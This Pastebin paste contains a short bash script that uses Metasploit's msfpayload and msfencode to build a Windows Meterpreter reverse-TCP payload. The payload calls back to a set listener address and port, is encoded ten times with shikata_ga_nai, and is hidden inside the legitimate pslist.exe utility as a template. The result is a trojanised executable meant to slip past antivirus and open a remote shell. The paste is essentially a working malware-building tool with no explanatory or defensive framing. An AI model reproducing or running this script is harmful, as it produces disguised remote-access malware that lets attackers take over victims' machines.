Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- PAYLOAD_SHORT=met_rev
- PAYLOAD=windows/meterpreter/reverse_tcp
- LHOST=192.168.1.1
- LPORT=443
- ENCODER_SHORT=shikata
- ENCODER=x86/shikata_ga_nai
- TEMPLATE_SHORT=pslist
- TEMPLATE=/pentest/windows-binaries/pstools/pslist.exe
- ./msfpayload $PAYLOAD LHOST=$LHOST,LPORT=$LPORT R | ./msfencode -c 10 -e $ENCODER -o ${PAYLOAD_SHORT}_${ENCODER_SHORT}_${TEMPLATE_SHORT}_${LHOST}_${LPORT}.exe -x $TEMPLATE -t exe
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement